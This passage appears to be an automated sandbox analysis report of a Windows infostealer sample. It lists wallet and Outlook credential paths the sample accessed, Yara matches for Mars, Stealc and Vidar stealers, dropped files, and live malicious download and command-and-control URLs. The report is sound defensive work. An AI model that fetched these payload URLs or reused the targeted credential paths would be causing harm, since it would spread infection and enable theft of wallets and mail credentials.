Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: ukuWaeRgPR.exe PID: 6340, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.a3b2c9311b.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ukuWaeRgPR.exe PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a3b2c9311b.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.a3b2c9311b.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ukuWaeRgPR.exe PID: 6340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ukuWaeRgPR.exe	47%	ReversingLabs	Win32.Trojan.Generic
ukuWaeRgPR.exe	100%	Avira	TR/Crypt.ZPACK.Gen
ukuWaeRgPR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.82/Hun4Ko/index.phpI	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/a81-46d0-b6b6-535557bcc5fapN9U	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
http://85.28.47.4/	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpsa3b2c9311b.exe	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/nss3.dllT	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php:9y	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php)	100%	Avira URL Cloud	malware
http://85.28.47.4/pl	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpU	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php0	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.81/stealc/random.exe50673b5d7	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php-	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php1	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php)	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php%	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpC9B	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dll$	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exephprefoxox	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exera	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/20475a59bac849d.php	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.phpi94	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/mozglue.dlll	100%	Avira URL Cloud	malware
http://85.28.47.4;	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php5	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpFl	100%	Avira URL Cloud	malware
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exepData	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dlly	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dllc	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.4	100%	Avira URL Cloud	malware
http://77.91.77.81/stealc/random.exeH	100%	Avira URL Cloud	phishing
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpn	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpk	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phplF~n	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe50673	100%	Avira URL Cloud	phishing
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GCGDGHCB.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	GCGDGHCB.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/a81-46d0-b6b6-535557bcc5fapN9U	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpsa3b2c9311b.exe	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpI	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dllT	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.php:9y	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpU	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.php)	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/pl	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php0	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll$	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exe50673b5d7	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.php-	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.php1	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php)	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/920475a59bac849d.phpC9B	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php%	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exephprefoxox	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/20475a59bac849d.php	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/mine/amadka.exera	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/920475a59bac849d.phpi94	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dlll	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.4;	a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	ukuWaeRgPR.exe, 00000000.00000002.2210120301.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php5	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe00	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpFl	a3b2c9311b.exe, 0000000E.00000002.2770510086.000000000131B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exepData	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GCGDGHCB.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dlly	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.81/cost/go.exe00	ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GCGDGHCB.0.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dllc	ukuWaeRgPR.exe, 00000000.00000002.2171110129.000000000203D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp, a3b2c9311b.exe, 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/stealc/random.exeH	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpn	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpk	explorti.exe, 0000000D.00000002.3230163969.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-ocsp.symauth.com0	ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phplF~n	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	false	Avira URL Cloud: safe	unknown
